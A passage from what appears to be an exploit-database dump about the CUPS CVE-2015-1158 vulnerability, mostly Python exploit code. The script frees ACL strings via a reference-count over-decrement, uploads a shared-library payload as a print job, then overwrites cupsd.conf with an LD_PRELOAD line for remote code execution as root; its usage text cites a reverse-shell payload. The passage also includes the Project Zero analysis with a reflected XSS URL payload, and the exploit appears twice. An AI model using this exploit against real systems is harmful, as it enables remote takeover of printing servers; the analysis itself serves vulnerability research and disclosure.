\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"\r

\"\\x42\"+\"\\x00\\x08\"+\"job-name\"+\"\\x00\\x06\"+\"badlib\"\r

\"\\x02\"\r

\"\\x21\"+\"\\x00\\x06\"+\"copies\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"\r

\"\\x23\"+\"\\x00\\x0a\"+\"finishings\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x03\"\r

\"\\x42\"+\"\\x00\\x10\"+\"job-cancel-after\"+\"\\x00\\x05\"+\"\\x31\\x30\\x38\\x30\\x30\"\r

\"\\x44\"+\"\\x00\\x0e\"+\"job-hold-until\"+\"\\x00\\x0a\"+\"indefinite\"\r

\"\\x21\"+\"\\x00\\x0c\"+\"job-priority\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x32\"\r

\"\\x42\"+\"\\x00\\x0a\"+\"job-sheets\"+\"\\x00\\x04\"+\"none\"+\"\\x42\"+\"\\x00\\x00\\x00\\x04\"+\"none\"\r

\"\\x21\"+\"\\x00\\x09\"+\"number-up\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"\r

\"\\x03\")\r

pretty(\"*\",\"Sending createJob\")\r

\r

http_header1 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(create_job_packet) + 0) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

createJobRequest = http_header1 + create_job_packet\r

blah = txrx(rhost,int(rport),\"tcp\",createJobRequest)\r

if blah is not None:\r

m = re.search(\"ipp://\" + rhost + \":\" + str(rport) + \"/jobs/(\\d+)\",blah)\r

if m is not None:\r

jobid = m.group(1)\r

else:\r

pretty(\"-\",\"something went wrong\");\r

exit()\r

\r

pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")\r

pretty(\"*\", \"Sending sendJob\")\r

\r

send_document_packet = (\"\\x02\\x00\"\r

\"\\x00\\x06\"+\r

reqid2+\r

\"\\x01\"\r

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"\r

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"\r

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +\r

\"\\x21\"+\"\\x00\\x06\"+\"job-id\"+\"\\x00\\x04\"+ str(pack(\">i\", int(jobid))) +\r

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"\r

\"\\x42\"+\"\\x00\\x0d\"+\"document-name\"+\"\\x00\\x06\"+\"badlib\"\r

\"\\x49\"+\"\\x00\\x0f\"+\"document-format\"+\"\\x00\\x18\"+\"application/octet-stream\"\r

\"\\x22\"+\"\\x00\\x0d\"+\"last-document\"+\"\\x00\\x01\"+\"\\x01\"\r

\"\\x03\"+\r

payload)\r

\r

http_header2 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(send_document_packet) + 0) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

sendJobRequest = http_header2 + send_document_packet\r

blah2 = txrx(\"172.20.32.3\",631,\"tcp\",sendJobRequest)\r

pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")\r

pretty(\"*\",\"job id: \" + jobid)\r

return jobid\r

\r

def stompACL(rhost, rport, printer):\r

i = random.randint(1,1024)\r

printer_url = \"ipp://\" + rhost + \":\" + rport + printer\r

\r

admin_stomp = (\"\\x02\\x00\" # vers 2.0\r

\"\\x00\\x05\"+ # op id: Create Job (0x0005)\r

str(pack(\">i\",(i+1)))+\r

\"\\x01\" # op attributes marker\r

\"\\x47\" # charset\r

\"\\x00\\x12\" # name len: 18\r

\"attributes-charset\"\r

\"\\x00\\x08\" # val len: 8\r

\"us-ascii\"\r

\"\\x48\" # natural language\r

\"\\x00\\x1b\" # name len: 27\r

\"attributes-natural-language\"\r

\"\\x00\\x06\" # val len: 6\r

\"/admin\"\r

\"\\x45\" # printer-uri\r

\"\\x00\\x0b\" # name len 11\r

\"printer-uri\" +\r

str(pack(\">h\", len(printer_url))) + printer_url +\r

\"\\x42\" # name without lang\r

\"\\x00\\x14\" # name len: 20\r

\"requesting-user-name\"\r

\"\\x00\\x06\" # val len: 6\r

\"/admin\"\r

\"\\x02\" # job attrs marker\r

\"\\x21\" # integer\r

\"\\x00\\x06\" # name len: 6\r

\"copies\"\r

\"\\x00\\x04\" # val len: 4\r

\"\\x00\\x00\\x00\\x01\" # 1\r

\"\\x42\" # name w/o lang\r

\"\\x00\\x19\" # name len: 25\r

\"job-originating-host-name\"\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x36\" # nwl\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x16\" # val len: 22\r

\"\\x00\\x06\" # length\r

\"/admin\"\r

\"\\x00\\x0c\"\r

\"BBBBBBBBBBBB\"\r

\"\\x03\") # end of attributes\r

\r

conf_stomp = (\"\\x02\\x00\" # vers 2.0\r

\"\\x00\\x05\"+ # op id: Create Job (0x0005)\r

str(pack(\">i\",(i+2)))+\r

\"\\x01\" # op attributes marker\r

\"\\x47\" # charset\r

\"\\x00\\x12\" # name len: 18\r

\"attributes-charset\"\r

\"\\x00\\x08\" # val len: 8\r

\"us-ascii\"\r

\"\\x48\" # natural language\r

\"\\x00\\x1b\" # name len: 27\r

\"attributes-natural-language\"\r

\"\\x00\\x0b\" # val len: 11\r

\"/admin/conf\"\r

\"\\x45\" # printer-uri\r

\"\\x00\\x0b\" # name len 11\r

\"printer-uri\" +\r

str(pack(\">h\", len(printer_url))) + printer_url +\r

\"\\x42\" # name without lang\r

\"\\x00\\x14\" # name len: 20\r

\"requesting-user-name\"\r

\"\\x00\\x0b\" # val len: 11\r

\"/admin/conf\"\r

\"\\x02\" # job attrs marker\r

\"\\x21\" # integer\r

\"\\x00\\x06\" # name len: 6\r

\"copies\"\r

\"\\x00\\x04\" # val len: 4\r

\"\\x00\\x00\\x00\\x01\" # 1\r

\"\\x42\" # name w/o lang\r

\"\\x00\\x19\" # name len: 25\r

\"job-originating-host-name\"\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x42\" # nwol\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x0c\" # val len: 12\r

\"AAAAAAAAAAAA\"\r

\"\\x36\" # nwl\r

\"\\x00\\x00\" # name len: 0\r

\"\\x00\\x1b\" # val len: 27\r

\"\\x00\\x0b\" # length\r

\"/admin/conf\"\r

\"\\x00\\x0c\"\r

\"BBBBBBBBBBBB\"\r

\"\\x03\") # end of attributes\r

\r

http_header1 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(admin_stomp)) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

http_header2 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(conf_stomp)) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

pretty(\"*\",\"stomping ACL\")\r

pretty(\"*\",\">:\

\" + createDump(http_header1 + admin_stomp))\r

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header1 + admin_stomp)))\r

time.sleep(1)\r

pretty(\"*\",\">:\

\" + createDump(http_header2 + conf_stomp))\r

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header2 + conf_stomp)))\r

\r

http_header_check = (\"GET /admin HTTP/1.1\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

pretty(\"*\",\"checking /admin\")\r

pretty(\"*\",\">:\

\" + createDump(http_header_check))\r

res = txrx(rhost,rport,\"tcp\",http_header_check)\r

pretty(\"*\",\"<:\

\" + createDump(res))\r

m = re.search('200 OK', res)\r

if m is not None:\r

pretty(\"+\",\"ACL stomp successful\")\r

else:\r

pretty(\"-\",\"exploit failed\")\r

exit(1)\r

\r

\r

def getConfig(rhost, rport):\r

i = random.randint(1,1024)\r

original_config = \"\"\r

http_request = (\"GET /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

\r

pretty(\"*\",\"grabbing configuration file....\")\r

res = txrx(rhost,rport,\"tcp\",http_request)\r

res_array = res.split(\"\\x0d\\x0a\\x0d\\x0a\")\r

original_config = res_array[1]\r

pretty(\"*\",\"config:\

\" + original_config + \"\

\")\r

return original_config\r

\r

def putConfig(rhost, rport, config):\r

http_request = (\"PUT /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"\r

\"Content-Type: application/ipp\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Keep-Alive\\x0d\\x0a\"\r

\"Content-Length: \" + str(len(config)) + \"\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

pretty(\"*\",\"overwriting config...\")\r

pretty(\"*\",\">:\

\" + createDump(http_request + config))\r

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_request + config)))\r

\r

def poisonConfig(config, name):\r

config = config + \"\\x0a\\x0aSetEnv LD_PRELOAD /var/spool/cups/d00\" + name + \"-001\\x0a\"\r

return config\r

\r

def main():\r

rhost = None;\r

noshell = None;\r

options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])\r

for opt, arg in options:\r

if opt in ('-h', '--help'):\r

usage()\r

elif opt in ('-a','--rhost'):\r

rhost = arg;\r

elif opt in ('-b','--rport'):\r

rport = arg;\r

elif opt in ('-c','--lib'):\r

libpath = arg;\r

elif opt in ('-f','--stomp-only'):\r

noshell = 1;\r

banner()\r

if rhost is None or rport is None:\r

usage()\r

pretty(\"*\",\"locate available printer\")\r

printer = locatePrinters(rhost, rport)\r

pretty(\"*\",\"stomp ACL\")\r

stompACL(rhost, rport, printer)\r

if (noshell is not None):\r

pretty(\"*\",\"fin\")\r

exit(0)\r

pretty(\"*\",\"prepare payload\")\r

payload = preparePayload(libpath)\r

pretty(\"*\",\"spray payload\")\r

jobid = seedTarget(rhost, rport, printer, payload)\r

pretty(\"*\",\"grab original config\")\r

OG_config = getConfig(rhost, rport)\r

pretty(\"*\",\"generate poison config\")\r

evil_config = poisonConfig(OG_config, jobid)\r

pretty(\"*\",\"upload poison config\")\r

putConfig(rhost, rport, evil_config)\r

pretty(\"*\",\"fin\")\r

exit(0);\r

\r

if __name__ == \"__main__\":\r

main()



# 0day.today [2018-01-08] #", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/26891"}, {"lastseen": "2017-12-31T21:02:32", "description": "Exploit for multiple platform in category remote exploits", "edition": 2, "published": "2015-06-23T00:00:00", "type": "zdt", "title": "CUPS 2.0.3 - Multiple Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158"], "modified": "2015-06-23T00:00:00", "id": "1337DAY-ID-23782", "href": "https://0day.today/exploit/description/23782", "sourceData": "Source: http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html\r

\r

Abstract\r

\r

Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and others become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is the subject of great debate amongst security researchers.\r

\r

Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat these exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in the short term, but hinders broader innovation.\r

\r

In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I then discuss how to build an exploit using the primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds the effect of the first, exposing otherwise unreachable instances of CUPS. Finally, I discuss the specific features and configuration options of CUPS that either helped or hindered exploitation.\r

\r

By publishing this analysis, I hope to encourage transparent discourse on the state of exploits and mitigations, and inspire other researchers to do the same.\r

\r

Summary\r

\r

Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement the reference count for a string from the request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, then run arbitrary code.\r

\r

The reference count over-decrement is exploitable in default configurations, and does not require any special permissions other than the basic ability to print. A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. The XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.\r

\r

Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations.\r

Background\r

\r

Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158)\r

\r

When freeing localized multi-value attributes, the reference count on the language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees the 'language' field for all strings in a group, instead of using 'ipp_free_values()'.\r

\r

scheduler/ipp.c:1626:\r

\r

/*\r

* Free old strings\u2026 \u2190 Even 'old' strings need to be freed.\r

*/\r

\r

for (i = 0; i < attr->num_values; i ++)\r

{\r

_cupsStrFree(attr->values[i].string.text);\r

attr->values[i].string.text = NULL;\r

if (attr->values[i].string.language) \u2190 for all values in an attribute\r

{\r

_cupsStrFree(attr->values[i].string.language); \u2190 free the 'language' string\r

attr->values[i].string.language = NULL;\r

}\r

}\r

\r

In this case, 'language' field comes from the value of the 'attributes-natural-language' attribute in the request.\r

\r

To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times the reference count is decremented. For a 10-value attribute, the reference count for 'language' is increased once, but decremented 10 times.\r

\r

The over-decrement prematurely frees the heap block for the target string. The actual block address will be quickly re-used by subsequent allocations.\r

\r

Dangling pointers to the block remain, but the content they point to changes when blocks are freed or reused. This is the basic exploit primitive upon which we build.\r

\r

\r

A Reflected XSS in the Web Interface (CVE-2015-1159)\r

\r

The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'.\r

\r

The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but the second case ends up being interesting.\r

\r

The code is found in 'cgi_puts()', and escapes the following reserved HTML characters:\r

<>\"'&\r

\r

These are replaced with their HTML entity equivalents ('<' etc...).\r

\r

The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650:\r

\r

if (*s == '<')\r

{\r

/*\r

* Pass <A HREF=\"url\"> and </A>, otherwise quote it...\r

*/\r

\r

if (!_cups_strncasecmp(s, \"<A HREF=\\\"\", 9))\r

{\r

fputs(\"<A HREF=\\\"\", out);\r

s += 9;\r

\r

while (*s && *s != '\\\"')\r

{\r

if (*s == '&')\r

fputs(\"&\", out);\r

else\r

putc(*s, out);\r

\r

s ++;\r

}\r

\r

if (*s)\r

s ++;\r

\r

fputs(\"\\\">\", out);\r

}\r

\r

For variable values containing '<a href=\"', all subsequent characters before a closing double-quote are subject to less restrictive escaping, where only the '&' character is escaped. The characters <>', and a closing \" would normally be escaped, but are echoed unaltered in this context.\r

\r

Note that the data being escaped here is client-supplied input, the variable value from the CGI argument. This code may have been intended to deal with links passed as CGI arguments. However, the template engine's limited context-awareness becomes an issue.\r

\r

Take this example from templates/help-header.tmp:19:\r

\r

<P CLASS=\"l0\"><A HREF=\"/help/{QUERY??QUERY={QUERY}:}\">All Documents</A></P>\r

\r

In this case, the CGI argument 'QUERY' is already contained inside a 'href' attribute of a link. If 'QUERY' starts with '<a href=\"', the double-quote will close the 'href' attribute opened in the static portion of the template. The remainder of the 'QUERY' variable will be interpreted as HTML tags.\r

\r

Requesting the following URI will demonstrate this reflected XSS:\r

http://localhost:631/help/?QUERY=%3Ca%20href=%22%20%3E%3Cscript%3Ealert%28%27Linux%20crickets%20chirping%20for%20a%20patch%27%29%3C/script%3E%3C!--&SEARCH=Search\r

\r

The 'QUERY' parametre is included in the page twice, leading to multiple unbalanced double-quotes. As such, the open comment string '<!--' is used to yield a HTML page that parses without errors.\r

\r

\r

Upstream Fixes\r

\r

Apple Fix (April 16, 2015):\r

https://support.apple.com/kb/DL1807\r

\r

Official CUPS fix for downstream vendors (June 8, 2015):\r

https://www.cups.org/str.php?L4609\r

http://www.cups.org/blog.php?L1082+I0+Q\r

\r

Project Zero Bug\r

\r

For those interested, the sample exploit can be found here:\r

\r

https://code.google.com/p/google-security-research/issues/detail?id=455\r

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37336.tar.gz\r

\r

Disclosure Timeline\r

\r

March 20th, 2015 - Initial notification to Apple\r

April 16th, 2015 - Apple ships fix in Mac OS X 10.10.3\r

June 8th, 2015 - CUPS ships official fix in CUPS 2.0.3\r

June 18th, 2015 - Disclosure + 90 days\r

June 19th, 2015 - P0 publication\r

\r

Attack Surface Reduction in CUPS 2.0.3+\r

\r

CUPS 2.0.3 and 2.1 beta contains several prescient implementation changes to limit the risk and impact of future similar bugs:\r

\r

Configuration value strings are now logically separated from the string pool, allocated by strdup() instead.\r

LD_* and DYLD_* environment variables are blocked when CUPS is running as root.\r

The localhost listener is removed when 'WebInterface' is disabled (2.1 beta only).\r

\r

Acknowledgements\r

\r

Thanks to Ben Hawkes, Stephan Somogyi, and Mike Sweet for their comments and edits.\r

\r

Conclusion\r

\r

No one prints anything anymore anyways.



# 0day.today [2017-12-31] #", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/23782"}], "exploitpack": [{"lastseen": "2020-04-01T19:04:07", "description": "

CUPS 2.0.3 - Remote Command Execution", "edition": 1, "published": "2017-02-03T00:00:00", "title": "CUPS 2.0.3 - Remote Command Execution", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158"], "modified": "2017-02-03T00:00:00", "id": "EXPLOITPACK:892E7440DFB4E752F2AA0B87194C551D", "href": "", "sourceData": "#!/usr/bin/python

# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution

# Google Dork: n/a

# Date: 2/2/17

# Exploit Author: @0x00string

# Vendor Homepage: cups.org

# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2

# Version: <2.0.3

# Tested on: Ubuntu 14/15

# CVE : CVE-2015-1158

import os, re, socket, random, time, getopt, sys

from socket import *

from struct import *



def banner():

print '''

lol ty google

0000000000000

0000000000000000000 00

00000000000000000000000000000

0000000000000000000000000000000

000000000 0000000000

00000000 0000000000

0000000 000000000000

0000000 000000000000000

000000 000000000 000000

0000000 000000000 000000

000000 000000000 000000

000000 000000000 000000

000000 00000000 000000

000000 000000000 000000

0000000 000000000 0000000

000000 000000000 000000

0000000000000000 0000000

0000000000000 0000000

00000000000 00000000

00000000000 000000000

0000000000000000000000000000000

00000000000000000000000000000

000 0000000000000000000

0000000000000

@0x00string

https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py

'''



def usage ():

print (\"python script.py <args>\

\"

\" -h, --help: Show this message\

\"

\" -a, --rhost: Target IP address\

\"

\" -b, --rport: Target IPP service port\

\"

\" -c, --lib /path/to/payload.so\

\"

\" -f, --stomp-only Only stomp the ACL (no postex)\

\"

\"\

\"

\"Examples:\

\"

\"python script.py -a 10.10.10.10 -b 631 -f\

\"

\"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\

\")

exit()



def pretty (t, m):

if (t is \"+\"):

print \"\\x1b[32;1m[+]\\x1b[0m\\t\" + m + \"\

\",

elif (t is \"-\"):

print \"\\x1b[31;1m[-]\\x1b[0m\\t\" + m + \"\

\",

elif (t is \"*\"):

print \"\\x1b[34;1m[*]\\x1b[0m\\t\" + m + \"\

\",

elif (t is \"!\"):

print \"\\x1b[33;1m[!]\\x1b[0m\\t\" + m + \"\

\",



def createDump (input):

d, b, h = '', [], []

u = list(input)

for e in u:

h.append(e.encode(\"hex\"))

if e == '0x0':

b.append('0')

elif 30 > ord(e) or ord(e) > 128:

b.append('.')

elif 30 < ord(e) or ord(e) < 128:

b.append(e)



i = 0

while i < len(h):

if (len(h) - i ) >= 16:

d += ' '.join(h[i:i+16])

d += \" \"

d += ' '.join(b[i:i+16])

d += \"\

\"

i = i + 16

else:

d += ' '.join(h[i:(len(h) - 0 )])

pad = len(' '.join(h[i:(len(h) - 0 )]))

d += ' ' * (56 - pad)

d += ' '.join(b[i:(len(h) - 0 )])

d += \"\

\"

i = i + len(h)



return d



class tcpsock:

def __init__(self, sock=None):

if sock is None:

self.sock = socket(

AF_INET, SOCK_STREAM)

self.sock.settimeout(30)

else:

self.sock = sock

def connect(self, host, port):

self.sock.connect((host, int(port)))

def tx(self, msg):

self.sock.send(msg)

def rx(self):

tmp = self.sock.recv(1024)

msg = \"\"

while tmp:

msg += tmp

tmp = self.sock.recv(1024)

return msg



def txrx (ip, port, proto, txpacket):

if (proto is \"tcp\"):

sock = tcpsock()

elif (proto is \"udp\"):

sock = udpsock()

else:

return None

sock.connect(ip, port)

sock.tx(txpacket)

rxpacket = sock.rx()

return rxpacket



def locatePrinters(rhost, rport=\"631\"):

request = ( \"GET /printers HTTP/1.1\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"\\x0d\\x0a\")

response = txrx(rhost, int(rport), \"tcp\", request)

if response is not None:

m = re.search('<TR><TD><A HREF=\"(.+)\">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)

if m is not None:

printer = m.group(1)

pretty(\"+\",\"printer found: \" + printer)

return printer

else:

pretty(\"-\",\"no printers\")

exit(1)

else:

pretty(\"-\",\"no printers\")

exit(1)



def preparePayload(libpath):

with open(libpath, 'rb') as f:

payload = f.read()

if payload is not None:

pretty(\"*\",\"Payload:\

\" + createDump(payload))

else:

pretty(\"-\",\"something went wrong\")

usage()

return payload



def seedTarget(rhost, rport, printer, payload):

i = random.randint(1,3)

reqid = str(pack(\">i\",(i+2)))

reqid2 = str(pack(\">i\",(i+3)))

printer_uri = \"ipp://\" + rhost + \":\" + str(rport) + printer



create_job_packet = (\"\\x02\\x00\"

\"\\x00\\x05\"+

reqid+

\"\\x01\"

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"

\"\\x42\"+\"\\x00\\x08\"+\"job-name\"+\"\\x00\\x06\"+\"badlib\"

\"\\x02\"

\"\\x21\"+\"\\x00\\x06\"+\"copies\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"

\"\\x23\"+\"\\x00\\x0a\"+\"finishings\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x03\"

\"\\x42\"+\"\\x00\\x10\"+\"job-cancel-after\"+\"\\x00\\x05\"+\"\\x31\\x30\\x38\\x30\\x30\"

\"\\x44\"+\"\\x00\\x0e\"+\"job-hold-until\"+\"\\x00\\x0a\"+\"indefinite\"

\"\\x21\"+\"\\x00\\x0c\"+\"job-priority\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x32\"

\"\\x42\"+\"\\x00\\x0a\"+\"job-sheets\"+\"\\x00\\x04\"+\"none\"+\"\\x42\"+\"\\x00\\x00\\x00\\x04\"+\"none\"

\"\\x21\"+\"\\x00\\x09\"+\"number-up\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"

\"\\x03\")

pretty(\"*\",\"Sending createJob\")



http_header1 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(create_job_packet) + 0) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



createJobRequest = http_header1 + create_job_packet

blah = txrx(rhost,int(rport),\"tcp\",createJobRequest)

if blah is not None:

